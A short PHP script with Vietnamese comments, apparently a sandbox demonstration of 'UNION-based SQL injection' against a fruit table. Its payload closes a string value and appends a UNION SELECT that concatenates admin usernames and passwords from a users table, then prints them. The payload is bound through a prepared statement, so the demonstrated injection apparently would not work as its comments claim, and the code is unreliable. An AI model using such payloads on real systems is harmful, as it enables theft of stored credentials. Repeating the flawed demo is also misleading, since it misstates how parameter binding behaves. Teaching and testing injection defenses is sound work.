<?php
// PHPize.online environment (MySQL 8.0, PDO emulation = true)
// $pdo is provided by the platform
$pdo = $GLOBALS['pdo'];
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
// Kỹ thuật 2: UNION-based SQL Injection
// Chọn đúng số cột để match với SELECT gốc: fruit có 3 cột (id, name, sku)
$colList = 'id, name, sku';
// Payload: đóng giá trị 'apple', sau đó UNION SELECT 3 cột,
// trong đó cột thứ hai chứa dữ liệu exploit từ bảng users
$namePayload =
"apple' " .
"UNION SELECT 1, " .
"CONCAT(username,':',password), " .
"3 " .
"FROM users WHERE role='admin' -- ";
// Chuẩn bị và thực thi truy vấn
$sql = "SELECT $colList FROM fruit WHERE name = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$namePayload]);
// Lấy kết quả và hiển thị
$rows = $stmt->fetchAll(PDO::FETCH_NUM);
foreach ($rows as $r) {
// Bỏ qua dòng gốc có name = 'apple'
if ($r[1] !== 'apple') {
echo "Admin credentials: {$r[1]}" . PHP_EOL;
}
}
?>